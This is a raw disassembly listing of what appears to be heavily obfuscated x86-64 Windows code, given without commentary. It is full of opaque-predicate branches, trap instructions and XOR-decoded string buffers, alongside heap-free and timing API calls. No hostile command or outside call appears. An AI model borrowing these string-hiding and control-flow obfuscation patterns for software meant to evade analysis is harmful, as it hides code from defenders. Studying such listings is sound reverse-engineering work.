jbe 0x140026610
mov rax, qword [0x141dde6e0]
nop dword [rax + rax]
mov r14, qword [0x141dde6e0]
test cl, cl
jne 0x140026610
mov eax, dword [0x141dc64e8]
mov ecx, dword [0x141dc64ec]
add eax, ecx
add eax, 0x6e79d71e
or eax, 0xafb97eff
cmp eax, 0x1f4abe9
jne 0x140026650
sub rsp, 0x20
mov rcx, r14
xor edx, edx
mov r8, r12
call rbx
add rsp, 0x20
nop dword [rax]
mov r13d, dword [0x141dc64f0]
xor r13d, dword [0x141dc64f4]
xor r13d, 0x80080c20
or r13d, 0x77f7f3df
sub rsp, 0x20
mov rcx, r14
xor edx, edx
mov r8, r12
call rbx
add rsp, 0x20
cmp r13d, 0x73e50c96
jb 0x140026650
mov r13, qword [rbp + 0x40]
nop dword [rax + rax]
mov eax, dword [str.GC1V]
add eax, dword [0x141dc64fc]
xor eax, 0x42c3b76b
imul eax, eax, 0x73b69b91
add eax, 0xa0def6c7
cmp eax, 0x5200d3ca
ja 0x140026690
or edi, esi
nop word cs:[rax + rax]
mov eax, dword [0x141dc6500]
or eax, dword [0x141dc6504]
xor eax, 0xdc5ba25
add eax, 0xb371d7a7
and eax, 0x40e819ea
cmp eax, 0x92d5bc12
ja 0x1400266c0
mov rcx, qword [rbp + 0xc8]
cmp qword [rcx], 0
je 0x140026880
mov rax, qword [rbp + 0xc8]
mov r14, qword [rax + 8]
mov r12, qword [0x141dde6e0]
mov eax, dword [str.8X]
sub eax, dword [0x141dc650c]
xor eax, 0x823a5334
add eax, 0x83363205
cmp eax, 0x14e82a3c
jae 0x140026830
jmp 0x140026867
mov eax, dword [0x141dc63b8]
or eax, dword [0x141dc63bc]
imul eax, eax, 0x6387a44b
or eax, 0x3f3988d0
imul rax, rax, 0x18ca1027
shr rax, 0x3c
movzx ecx, byte [0x141dde6f8]
cmp eax, 0x199d4816
ja 0x140026790
mov eax, dword [0x141dc63c0]
xor eax, dword [0x141dc63c4]
or eax, 0x7c29087
imul eax, eax, 0x5de01cd8
add eax, 0x8900f28f
cmp eax, 0x26dd41c1
jae 0x1400267a0
jmp 0x1400267cc
movzx eax, byte [0x141dde6f8]
jmp 0x140026730
mov esi, dword [0x141dc63c8]
add esi, dword [str.t9Vi]
or esi, 0xb6cfca4f
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.1400c29b0
add rsp, 0x20
cmp esi, 0x12e95d2f
jne 0x1400267e0
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.1400c29b0
add rsp, 0x20
jmp 0x1400267a0
mov rcx, rax
nop word cs:[rax + rax]
mov eax, dword [0x141dc63d0]
xor edx, edx
div dword [0x141dc63d4]
add eax, 0xcc11bba1
imul rax, rax, 0x449dc26d
shr rax, 0x3d
and eax, 1
cmp eax, 0x144a4a4a
je 0x1400267f0
test rcx, rcx
jne 0x140025cc5
jmp 0x1400270c7
mov eax, dword [0x141dc6510]
and eax, dword [0x141dc6514]
or eax, 0x5fb42c46
imul esi, eax, 0x518d7a71
add esi, 0x6e509a55
sub rsp, 0x20
mov rcx, r12
xor edx, edx
mov r8, r14
call rbx
add rsp, 0x20
cmp esi, 0xe9dc46bc
jbe 0x140026880
sub rsp, 0x20
mov rcx, r12
xor edx, edx
mov r8, r14
call rbx
add rsp, 0x20
jmp 0x140026830
xor eax, eax
nop word cs:[rax + rax]
test al, al
jne 0x140026890
mov rdx, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x78]
nop dword [rax]
mov eax, dword [0x141dc6518]
xor eax, dword [0x141dc651c]
add eax, 0x468d189a
and eax, 0x4e04088
cmp eax, 0x5e59f0a6
ja 0x1400268a0
mov rax, qword [rdx]
mov ecx, dword [0x141dc6520]
imul ecx, dword [0x141dc6524]
add ecx, 0xa6c15df
xor ecx, 0xc69d6916
cmp ecx, 0xd2199a33
jb 0x1400268c0
test rax, rax
je 0x1400268fd
mov r8, qword [rdx + 8]
mov rcx, qword [0x141dde6e0]
sub rsp, 0x20
xor edx, edx
call rbx
add rsp, 0x20
mov eax, dword [0x141dc6528]
xor edx, edx
div dword [0x141dc652c]
mov eax, dword [0x141dc6530]
sub eax, dword [0x141dc6534]
xor eax, 0x4c014891
imul rcx, rax, 0xf3b925
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1c
imul eax, eax, 0xf4e734c5
cmp eax, 0xd61a2edc
ja 0x14002690b
mov rax, qword [rsi]
mov edx, 0xb4832461
mov ecx, dword [0x141dc6538]
or ecx, dword [0x141dc653c]
imul rcx, rdx
shr rcx, 0x3d
imul ecx, ecx, 0x7746c8a0
and ecx, 0x626c480
cmp ecx, 0xa7e5bfc4
ja 0x140026945
nop dword [rax]
mov ecx, dword [0x141dc6540]
xor ecx, dword [0x141dc6544]
add ecx, 0x166d1a03
xor ecx, 0x103016
and ecx, 0x51a3d1e
cmp ecx, 0x2bb6d855
ja 0x140026970
test rax, rax
je 0x140026a60
mov rcx, qword [rbp + 0x78]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6548]
xor eax, dword [0x141dc654c]
imul eax, eax, 0x83209187
add eax, 0x95dd5f34
cmp eax, 0x3c231b48
jb 0x1400269b0
mov r14, qword [rcx + 8]
mov r12, qword [0x141dde6e0]
mov eax, dword [str._gp_bp8]
add eax, dword [0x141dc6554]
imul eax, eax, 0x1e13a4a9
imul rax, rax, 0x7f32350d
shr rax, 0x3d
and eax, 0xfffffffe
cmp eax, 0x9d56e845
jbe 0x140026a20
sub rsp, 0x20
mov rcx, r12
xor edx, edx
mov r8, r14
call rbx
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc6558]
and eax, dword [0x141dc655c]
and eax, 0x67842b10
imul rsi, rax, 0x5bb30dd5
shr rsi, 0x3d
sub rsp, 0x20
mov rcx, r12
xor edx, edx
mov r8, r14
call rbx
add rsp, 0x20
cmp esi, 0x72877ae6
je 0x140026a20
nop word cs:[rax + rax]
mov eax, dword [0x141dc6560]
or eax, dword [0x141dc6564]
xor eax, 0x25320c83
add eax, 0x1663e8da
shr eax, 1
imul rax, rax, 0x269add87
shr rax, 0x3c
cmp eax, 0x8193d3e2
je 0x140026a60
mov rsi, qword [rbp + 0xb8]
mov r14, qword [rbp - 0x48]
mov r12, qword [rbp - 0x38]
nop dword [rax]
mov eax, dword [str.HiVE]
sub eax, dword [0x141dc656c]
xor eax, 0x80080
and eax, 0x12a0094
cmp eax, 0x4e3861dd
ja 0x140026aa0
cmp qword [rbp + 0xa0], 0
je 0x140026b2d
mov eax, dword [0x141dc6588]
add eax, dword [0x141dc658c]
xor eax, 0x6f62108e
imul eax, eax, 0xf026107b
cmp eax, 0x95226bef
je 0x140026e90
nop dword [rax]
mov eax, dword [0x141dc6590]
mov ecx, dword [0x141dc6594]
add eax, ecx
add eax, 0x16a6ba40
or eax, 0x589b5dca
mov rcx, qword [0x141dde6e0]
cmp eax, 0xb010e99e
ja 0x140026e90
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0xc0]
call rbx
add rsp, 0x20
test edi, edi
je 0x140026f68
mov rsi, qword [rbp - 0x30]
lea rax, [0x141db1a09]
mov qword [rsi], rax
mov eax, dword [0x141dc6598]
xor eax, dword [0x141dc659c]
or eax, 0xa796cc63
add eax, 0x4ad9c45f
imul rax, rax, 0x5935800b
shr rax, 0x3e
cmp eax, 0x837408d3
mov rdi, qword [rbp - 0x28]
jbe 0x140026c44
mov rcx, qword [rsi]
movabs rax, 0x595f673b99754862
mov qword [r14], rax
mov rdx, qword [r14]
sub rsp, 0x20
call fcn.140019860
add rsp, 0x20
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
movabs r10, 0x27ba6ed99e947921
xor rcx, r10
mov qword [rdi], rcx
movabs rcx, 0x347de5c2264e06c9
xor rdx, rcx
mov qword [rdi + 8], rdx
movabs rcx, 0xf37d98069079d5a0
xor r8, rcx
mov qword [rdi + 0x10], r8
movabs rcx, 0x69a9b624fd27f38
xor r9, rcx
mov qword [rdi + 0x18], r9
xor al, 0xb9
mov byte [rdi + 0x20], al
mov rax, qword [rbp + 0x38]
mov qword [rax], rdi
mov qword [rax + 8], 0x21
mov qword [r12], rax
lea rax, [0x14000cf60]
mov qword [r12 + 8], rax
lea rax, [0x140104eb0]
mov qword [r13], rax
mov qword [r13 + 8], 2
mov qword [r13 + 0x20], 0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 1
sub rsp, 0x20
mov rcx, r13
call fcn.1400a21c0
add rsp, 0x20
mov rbx, r12
mov r12, qword [rbp + 0x38]
movabs r15, 0x69a9b624fd27f38
nop word cs:[rax + rax]
mov rcx, qword [rsi]
movabs rax, 0x595f673b99754862
mov qword [r14], rax
mov rdx, qword [r14]
sub rsp, 0x20
call fcn.140019860
add rsp, 0x20
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
movabs r10, 0x27ba6ed99e947921
xor rcx, r10
mov qword [rdi], rcx
movabs rcx, 0x347de5c2264e06c9
xor rdx, rcx
mov qword [rdi + 8], rdx
movabs rcx, 0xf37d98069079d5a0
xor r8, rcx
mov qword [rdi + 0x10], r8
xor r9, r15
mov qword [rdi + 0x18], r9
xor al, 0xb9
mov byte [rdi + 0x20], al
mov qword [r12], rdi
mov qword [r12 + 8], 0x21
mov qword [rbx], r12
lea rax, [0x14000cf60]
mov qword [rbx + 8], rax
lea rax, [0x140104eb0]
mov qword [r13], rax
mov qword [r13 + 8], 2
mov qword [r13 + 0x20], 0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], 1
sub rsp, 0x20
mov rcx, r13
call fcn.1400a21c0
xor eax, eax
add rsp, 0x20
test al, al
jne 0x140026c60
nop dword [rax]
mov eax, dword [0x141dc65a0]
xor eax, dword [0x141dc65a4]
xor eax, 0x10542200
or eax, 0xe089951b
imul eax, eax, 0x9fb2d678
cmp eax, 0xa2cc7079
je 0x140026d30
cmp qword [rbp + 0xe0], 0
mov rbx, qword [rbp + 0x48]
mov r14, qword [rbp + 0xe8]
mov r15, qword [rbp + 0x80]
je 0x140025ae0
mov eax, dword [0x141dc65a8]
xor edx, edx
div dword [0x141dc65ac]
and eax, 0xfbb9066c
imul eax, eax, 0x2e5e8f6d
cmp eax, 0x627cf04b
jbe 0x140026d9a
mov rax, qword [0x141dde6e0]
mov edx, 0x9a8f9717
nop
mov eax, dword [0x141dc65b0]
mov ecx, dword [0x141dc65b4]
add eax, ecx
add eax, 0xcdfabecb
mov rcx, rax
imul rcx, rdx
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
mov rdi, qword [0x141dde6e0]
cmp eax, 0x5fd3a018
je 0x140026da0
mov eax, dword [0x141dc65b8]
sub eax, dword [0x141dc65bc]
xor eax, 0x1048fb6f
imul eax, eax, 0x71f9e8a6
or eax, 0x97849c02
cmp eax, 0x761de20c
jae 0x140026e0e
sub rsp, 0x20
mov rcx, rdi
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov esi, dword [0x141dc65c0]
sub esi, dword [0x141dc65c4]
and esi, 0x30000473
add esi, 0x3c5d71c7
sub rsp, 0x20
mov rcx, rdi
xor edx, edx
mov r8, r14
call r12
add rsp, 0x20
cmp esi, 0x76e1d9b2
ja 0x140026e20
nop word cs:[rax + rax]
mov eax, dword [0x141dc65c8]
and eax, dword [0x141dc65cc]
imul eax, eax, 0x32d67e50
xor eax, 0x53d0ace7
cmp eax, 0x4a891cb2
ja 0x140026e60
jmp 0x140025ae0
mov rax, qword [0x141dde6e0]
jmp 0x140026af0
test r13, r13
je 0x140027283
lea rax, [0x141db26e8]
mov qword [rcx], rax
mov rcx, qword [rcx]
movabs rax, 0x63c9020a48e60ebf
mov qword [rdx], rax
mov rdx, qword [rdx]
sub rsp, 0x20
call fcn.14001ae30
add rsp, 0x20
movabs rcx, 0x73d7bddf5b238f5b
xor rcx, qword [rax]
movabs rdx, 0x4361ba5209efe2c9
xor rdx, qword [rax + 8]
movabs r8, 0x80aafc04f153c8a7
xor r8, qword [rax + 0x10]
movabs r9, 0xfd95095e3a6861b1
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0x21
mov r10, qword [rbp - 0x10]
mov qword [r10], rcx
mov qword [r10 + 8], rdx
mov qword [r10 + 0x10], r8
mov qword [r10 + 0x18], r9
mov ecx, dword [0x141dc6618]
and ecx, dword [0x141dc661c]
add ecx, 0x62620451
xor ecx, 0xc2094021
and ecx, 0xe209c975
cmp ecx, 0xaf191a33
mov rdx, qword [rbp - 8]
mov r8, qword [rbp]
mov rcx, qword [rbp + 8]
lea r11, [0x14000cf60]
lea rsi, [0x140104eb0]
jbe 0x14002750f
jmp 0x140027561
cmp qword [rbp + 0xe0], 0
mov r14, qword [rbp + 0xe8]
je 0x140027283
mov eax, dword [0x141dc65d0]
sub eax, dword [0x141dc65d4]
add eax, 0x288bf8a2
imul rax, rax, 0x45f32c63
shr rax, 0x3e
cmp eax, 0x33cb42a6
jne 0x140027199
jmp 0x1400271c6
mov eax, dword [0x141dc6390]
and eax, dword [0x141dc6394]
imul eax, eax, 0xb58e4920
imul rax, rax, 0x1a2a6a3d
shr rax, 0x3b
or eax, 0x6bfd1500
cmp eax, 0x670843c3
jne 0x140027128
jmp 0x140027149
mov eax, dword [0x141dc63e8]
add eax, dword [0x141dc63ec]
or eax, 0x4130a208
cmp eax, 0xdfaf1001
jne 0x140026ff5
ud2
xor eax, eax
nop word [rax + rax]
ud2
xor eax, eax
test al, al
je 0x140027175
jmp 0x140027195
mov eax, dword [0x141dc6570]
add eax, dword [0x141dc6574]
and eax, 0x4b957181
cmp eax, 0x66c12057
jne 0x140027062
ud2
mov eax, 0xd70abbcb
nop word [rax + rax]
mov ecx, dword [0x141dc6578]
add ecx, dword [0x141dc657c]
xor ecx, 0x2862c602
or ecx, 0xc3143171
imul rcx, rax
shr rcx, 0x3f
ud2
mov eax, dword [0x141dc63d8]
xor edx, edx
div dword [0x141dc63dc]
xor eax, 0x2c793b73
imul rax, rax, 0x571ee81b
shr rax, 0x3e
cmp eax, 0x9c60f564
jbe 0x1400270f0
ud2
mov eax, dword [0x141dc63e0]
xor edx, edx
div dword [0x141dc63e4]
imul rcx, rax, 0x326e212f
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
imul eax, eax, 0x408b8e66
add eax, 0x59c44792
ud2
mov eax, dword [0x141dc6398]
xor edx, edx
div dword [0x141dc639c]
or eax, 0x2011000
and eax, 0xa011000
ud2
ud2
ud2
mov eax, dword [0x141dc6408]
xor eax, dword [0x141dc640c]
xor eax, 0x72e1e9cf
imul eax, eax, 0x663254e0
ud2
ud2
mov eax, dword [0x141dc65d8]
xor eax, dword [0x141dc65dc]
add eax, 0x807568a6
mov ecx, 0x92510843
imul rcx, rax
shr rcx, 0x3f
mov rsi, qword [0x141dde6e0]
cmp ecx, 0x7144d32
jbe 0x1400271cf
mov rax, qword [0x141dde6e0]
jmp 0x140027199
mov eax, dword [0x141dc65e0]
imul eax, dword [0x141dc65e4]
imul rax, rax, 0x22dd7caf
shr rax, 0x3d
imul eax, eax, 0x13a42977
xor eax, 0xcfef83f3
cmp eax, 0xd619a4cc
jbe 0x14002720f
sub rsp, 0x20
mov rcx, rsi
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov edi, 0x917dae67
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov ebx, dword [0x141dc65e8]
sub ebx, dword [0x141dc65ec]
add ebx, 0xcad61f3e
imul rbx, rdi
shr rbx, 0x3f
sub rsp, 0x20
mov rcx, rsi
xor edx, edx
mov r8, r14
call r15
add rsp, 0x20
cmp ebx, 0xef877ed3
je 0x140027220
mov rsi, qword [rbp + 0xb8]
nop dword [rax]
mov eax, dword [0x141dc65f0]
or eax, dword [0x141dc65f4]
imul eax, eax, 0xcf0f1b31
add eax, 0x3190cb5
xor eax, 0x273978e9
cmp eax, 0xececbf5c
jae 0x140027260
movabs rdi, 0x9d45940f69b50d5a
movabs rbx, 0x72396d0abc24f508
movabs r14, 0x60f835fa28c43580
movabs r15, 0x5cc1f4aaac985a06
movabs r12, 0x44f21e587249d16a
movabs r13, 0x22fd9cbde01aa544
mov eax, dword [0x141dc6608]
xor edx, edx
div dword [0x141dc660c]
add eax, 0xa11ae696
xor eax, 0xcca6dc0f
add eax, 0x3e7ab487
lea rcx, [0x141da848a]
cmp eax, 0x7d866d2f
jae 0x1400273b9
mov rax, qword [rbp + 0x50]
mov qword [rax], rcx
mov rcx, qword [rax]
mov qword [rsi], rdi
mov rdx, qword [rsi]
sub rsp, 0x20
call fcn.14001a3a0
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r12
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov r10, qword [rax + 0x20]
movzx eax, word [rax + 0x28]
mov r11, qword [rbp + 0x58]
mov qword [r11], rcx
xor rdx, r13
mov qword [r11 + 8], rdx
xor r8, rbx
mov qword [r11 + 0x10], r8
xor r9, r15
mov qword [r11 + 0x18], r9
xor r10, r14
mov qword [r11 + 0x20], r10
mov ecx, eax
xor cl, 0xf9
mov byte [r11 + 0x28], cl
shr eax, 8
xor al, 0x9d
mov byte [r11 + 0x29], al
mov rax, qword [rbp + 0x60]
mov qword [rax], r11
mov qword [rax + 8], 0x2a
mov rdx, qword [rbp + 0x68]
mov qword [rdx], rax
lea rax, [0x14000cf60]
mov qword [rdx + 8], rax
mov rcx, qword [rbp + 0x70]
lea rax, [0x140104eb0]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.1400a21c0
lea rcx, [0x141da848a]
add rsp, 0x20
mov rbx, qword [rbp + 0x50]
mov r14, qword [rbp + 0x58]
mov r15, qword [rbp + 0x60]
mov r12, qword [rbp + 0x68]
mov r13, qword [rbp + 0x70]
nop dword [rax]
mov eax, dword [0x141dc6610]
and eax, dword [0x141dc6614]
and eax, 0x4053107
imul eax, eax, 0xcdef242b
mov dword [rbp + 0xd8], eax
mov qword [rbx], rcx
mov rcx, qword [rbx]
mov qword [rsi], rdi
mov rdx, qword [rsi]
sub rsp, 0x20
call fcn.14001a3a0
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0x44f21e587249d16a
xor rcx, rdx
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov r10, qword [rax + 0x20]
movzx eax, word [rax + 0x28]
mov qword [r14], rcx
movabs rcx, 0x22fd9cbde01aa544
xor rdx, rcx
mov qword [r14 + 8], rdx
movabs rcx, 0x72396d0abc24f508
xor r8, rcx
mov qword [r14 + 0x10], r8
movabs rcx, 0x5cc1f4aaac985a06
xor r9, rcx
mov qword [r14 + 0x18], r9
movabs rcx, 0x60f835fa28c43580
xor r10, rcx
mov qword [r14 + 0x20], r10
mov ecx, eax
xor cl, 0xf9
mov byte [r14 + 0x28], cl
shr eax, 8
xor al, 0x9d
mov byte [r14 + 0x29], al
mov qword [r15], r14
mov qword [r15 + 8], 0x2a
mov qword [r12], r15
lea rax, [0x14000cf60]
mov qword [r12 + 8], rax
lea rax, [0x140104eb0]
mov qword [r13], rax
mov qword [r13 + 8], 2
mov qword [r13 + 0x20], 0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 1
sub rsp, 0x20
mov rcx, r13
call fcn.1400a21c0
lea rcx, [0x141da848a]
add rsp, 0x20
cmp dword [rbp + 0xd8], 0xd612cb48
ja 0x1400273d0
xor eax, eax
nop
test al, al
jne 0x1400274f0
movaps xmm6, xmmword [rbp + 0xf0]
lea rsp, [rbp + 0x108]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r9d, dword [0x141dc6620]
xor r9d, dword [0x141dc6624]
imul r9, r9, 0x52d8e761
shr r9, 0x3e
or r9d, 0x5a1bad8c
mov byte [r10 + 0x20], al
mov qword [rdx], r10
mov qword [rdx + 8], 0x21
mov qword [r8], rdx
mov qword [r8 + 8], r11
mov qword [rcx], rsi
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
cmp r9d, 0xc974b1ff
jbe 0x14002758c
mov byte [r10 + 0x20], al
mov qword [rdx], r10
mov qword [rdx + 8], 0x21
mov qword [r8], rdx
mov qword [r8 + 8], r11
mov qword [rcx], rsi
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
jmp 0x14002750f
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.1400a21c0
add rsp, 0x20
mov eax, r13d
and eax, 3
cmp rax, 3
mov r15, qword [rbp + 0x28]
mov r14, qword [rbp + 0x90]
ja case.default.0x1400275ca
lea rcx, [0x141dbc4bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rsi, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rbx, qword [rdi]
test rbx, rbx
je 0x1400276fe
mov eax, dword [0x141dc6640]
imul eax, dword [0x141dc6644]
imul eax, eax, 0x5985cb27
add eax, 0xcf2880e8
cmp eax, 0xf92e3d36
jbe 0x140027693
jmp 0x1400276c3
mov eax, dword [0x141dc6628]
sub eax, dword [0x141dc662c]
and eax, 0x36500ca7
add eax, 0x1cb65d1b
and eax, 0x41e00529
cmp eax, 0x5029e0cd
je case.default.0x1400275ca
jmp 0x140027173
mov ecx, 0x88ee1c27
nop dword [rax]
mov eax, dword [0x141dc6630]
xor edx, edx
div dword [0x141dc6634]
imul rax, rcx
shr rax, 0x3d
add eax, 0x8ab87e04
cmp eax, 0xd64b609f
ja 0x140027640
nop word cs:[rax + rax]
mov eax, dword [0x141dc6638]
imul eax, dword [0x141dc663c]
or eax, 0xbfa77d3f
and eax, 0xbfb77d3f
cmp eax, 0xcfe0da0c
ja 0x140027670
jmp case.0x1400275ca.0
mov eax, dword [0x141dc6648]
sub eax, dword [0x141dc664c]
imul r14d, eax, 0x7ce491ad
add r14d, 0x26202de9
sub rsp, 0x20
mov rcx, rsi
call rbx
add rsp, 0x20
cmp r14d, 0x57a4eae3
jae 0x1400276d2
sub rsp, 0x20
mov rcx, rsi
call rbx
add rsp, 0x20
jmp 0x140027693
mov r14, qword [rbp + 0x90]
nop dword [rax]
mov eax, dword [0x141dc6650]
imul eax, dword [0x141dc6654]
xor eax, 0xa97cdc97
add eax, 0x8d2422c2
cmp eax, 0xa3d8be2
jb 0x1400276e0
dec r13
nop word cs:[rax + rax]
mov eax, dword [0x141dc6658]
or eax, dword [0x141dc665c]
and eax, 0x40940000
add eax, 0x7c779104
cmp eax, 0x140f9c3e
jb 0x140027710
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
nop word cs:[rax + rax]
mov edx, dword [0x141dc6660]
and edx, dword [0x141dc6664]
add edx, 0x81ec1e4e
and edx, 0x65429a1d
xor edx, 0xbfa91b06
cmp edx, 0xa93b360f
jb 0x140027740
test rax, rax
je 0x1400278b8
mov eax, dword [0x141dc6668]
xor edx, edx
div dword [0x141dc666c]
nop dword [rax]
mov eax, dword [0x141dc6670]
xor eax, dword [0x141dc6674]
or eax, 0xe1060888
and eax, 0xe127a8aa
xor eax, 0x379fa196
cmp eax, 0x550d8fb0
jb 0x140027780
nop word cs:[rax + rax]
mov eax, dword [0x141dc6678]
xor eax, dword [0x141dc667c]
imul eax, eax, 0x6bf42b4
or eax, 0x21a3a41d
add eax, 0x26c52bbc
cmp eax, 0xe6149b0a
ja 0x1400277b0
cmp rcx, 0x11
jb 0x140027853
nop dword [rax]
mov eax, dword [0x141dc6680]
sub eax, dword [0x141dc6684]
imul rax, rax, 0x76e8d4c7
shr rax, 0x3d
xor eax, 0x492d4ad6
imul eax, eax, 0xfce55d8a
cmp eax, 0xa29d593f
ja 0x1400277e0
nop dword [rax]
mov eax, dword [0x141dc6688]
or eax, dword [0x141dc668c]
cmp eax, 0xff42f6ca
je 0x140027810
mov rsi, qword [rsi - 8]
nop word [rax + rax]
mov eax, dword [0x141dc6690]
add eax, dword [0x141dc6694]
imul eax, eax, 0x5129cee7
add eax, 0xe6aa18b1
and eax, 0xeb803efe
cmp eax, 0x88b5da93
je 0x140027830
mov eax, dword [0x141dc6698]
and eax, dword [0x141dc669c]
add eax, 0xa19c4dd
and eax, 0x9b1f42c1
imul rax, rax, 0x37fc0559
shr rax, 0x3c
cmp eax, 0xf16b0434
ja 0x14002789c
mov rcx, qword [0x141dde6e0]
sub rsp, 0x20
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
test dil, dil
je 0x1400278b8
mov rcx, qword [0x141dde6e0]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x14002787b
mov eax, dword [0x141dc66a0]
sub eax, dword [0x141dc66a4]
add eax, 0x93ce3493
xor eax, 0xc27097f9
add eax, 0x52191416
cmp eax, 0x52fca103
jae 0x1400278f0
mov rax, qword [0x141dde6e0]
nop word cs:[rax + rax]
mov eax, dword [0x141dc66a8]
xor edx, edx
div dword [0x141dc66ac]
add eax, 0x711411d6
and eax, 0x3620b45d
imul eax, eax, 0x484d064a
mov rcx, qword [0x141dde6e0]
cmp eax, 0x51882d3e
jb 0x1400278f0
sub rsp, 0x20
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov qword [r15], 0
sub rsp, 0x20
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
add rsp, 0x20
mov ecx, eax
mov eax, dword [0x141dc66b0]
xor edx, edx
div dword [0x141dc66b4]
nop word [rax + rax]
mov eax, dword [0x141dc66b8]
sub eax, dword [0x141dc66bc]
imul eax, eax, 0x9a971fb8
and eax, 0x2046f0
cmp eax, 0x94571f2f
je 0x140027960
test ecx, ecx
je 0x1400279dc
mov rdi, qword [r15]
nop word cs:[rax + rax]
mov eax, dword [0x141dc66c8]
or eax, dword [0x141dc66cc]
and eax, 0x22204803
or eax, 0xd09d12dc
imul rax, rax, 0x15f8c617
shr rax, 0x39
cmp eax, 0x8545ecd5
ja 0x140027990
mov eax, dword [0x141dc66d0]
or eax, dword [0x141dc66d4]
or eax, 0x50204
xor eax, 0x4c08090
and eax, 0x5cd9294
cmp eax, 0x5879a588
jne 0x140027a0e
jmp 0x140027a32
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
ud2
mov eax, dword [0x141dc66d8]
and eax, dword [0x141dc66dc]
or eax, 0x8c8c98d1
and eax, 0x8c8c98d9
mov r15, qword [0x141dde6d8]
cmp eax, 0xe272d6d1
jne 0x140027a3b
mov rax, qword [0x141dde6d8]
jmp 0x140027a0e
test r15, r15
jne 0x140027b1d
mov eax, dword [0x141dc66e0]
or eax, dword [0x141dc66e4]
xor eax, 0x9028202c
or eax, 0x4f539682
add eax, 0x6de18442
cmp eax, 0x9c6f575
jb 0x140027a8b
mov eax, dword [0x141dc66e8]
add eax, dword [0x141dc66ec]
imul rax, rax, 0x12d7141b
shr rax, 0x3c
mov qword [r14], 0
cmp eax, 0x92e4fcad
jne 0x140027a94
mov qword [r14], 0
jmp 0x140027a66
sub rsp, 0x20
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
add rsp, 0x20
nop word cs:[rax + rax]
mov ecx, dword [0x141dc66f0]
sub ecx, dword [0x141dc66f4]
or ecx, 0x20208102
and ecx, 0x6024a30a
cmp ecx, 0xce9c406c
ja 0x140027ab0
test eax, eax
je 0x140027cf3
mov r15, qword [r14]
mov qword [0x141dde6d8], r15
nop word cs:[rax + rax]
mov eax, dword [0x141dc6700]
add eax, dword [0x141dc6704]
xor eax, 0xc9aab2
imul eax, eax, 0x8ba03ec8
cmp eax, 0xb985b28e
je 0x140027af0
xor eax, eax
test al, al
jne 0x140027b10
test r15, r15
je 0x140027d2a
mov eax, dword [0x141dc6710]
and eax, dword [0x141dc6714]
imul eax, eax, 0xb065555b
add eax, 0xa9d3a05
cmp eax, 0x7d8ff27a
jbe 0x140027c1b
mov rax, rdi
or rax, r15
shr rax, 0x20
je 0x140027b55
mov rax, rdi
xor edx, edx
div r15
jmp 0x140027b5c
mov eax, edi
xor edx, edx
div r15d
mov rsi, qword [rbp + 0xd0]
imul rax, rdx, 0x3b9aca00
mov rcx, rax
or rcx, r15
shr rcx, 0x20
je 0x140027b7d
xor edx, edx
div r15
jmp 0x140027b82
xor edx, edx
div r15d
sub rsp, 0x20
mov ecx, 0x23
call fcn.14008e740
add rsp, 0x20
mov qword [rsi], 0
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
add rsp, 0x20
jmp 0x140027c1b
xor edx, edx
div r15
or r12d, 0x6060410
and r12d, 0xc6164410
imul r14, rcx, 0x3b9aca00
add r14, rax
mov rax, r14
shr rax, 9
movabs rbx, 0x44b82fa09b5a53
mul rbx
mov rsi, rdx
sub rsp, 0x20
mov ecx, 0x23
call fcn.14008e740
add rsp, 0x20
